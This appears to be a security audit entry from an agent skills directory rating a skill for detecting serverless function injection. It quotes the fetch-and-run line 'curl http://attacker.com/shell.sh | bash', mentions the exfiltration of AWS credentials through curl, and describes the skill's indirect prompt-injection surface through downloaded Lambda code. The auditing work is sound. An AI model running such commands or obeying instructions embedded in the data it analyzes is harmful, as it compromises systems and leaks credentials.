The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill features the command pattern curl http://attacker.com/shell.sh | bash in its documentation templates and attack vector examples. This involves executing code from an untrusted remote source directly in the shell.
[DATA_EXFILTRATION]: The skill provides examples of exfiltrating sensitive environment variables, such as AWS credentials, to an external domain using curl as an illustration of attack impacts.
[COMMAND_EXECUTION]: The provided workflow executes local shell commands including aws, jq, unzip, and grep, and utilizes security scanning tools such as semgrep and bandit.
[EXTERNAL_DOWNLOADS]: The instructions involve downloading ZIP files containing function code and layer contents from AWS service URLs using curl and xargs.
[PROMPT_INJECTION]: The skill processes and analyzes external function code and event source configurations, which serve as ingestion points for potentially malicious instructions that could target the analyzing agent. This represents an indirect prompt injection surface.
Ingestion points: Lambda function code downloaded via aws lambda get-function and event source configuration data.
Boundary markers: No explicit delimiters or instructions are provided to the agent to ignore embedded instructions in the analyzed data.
Capability inventory: Shell command execution via aws, curl, and unzip, and the execution of static analysis tools.
Sanitization: The skill provides logic for target function input validation but does not include sanitization for the analysis process itself.

detecting-serverless-function-injection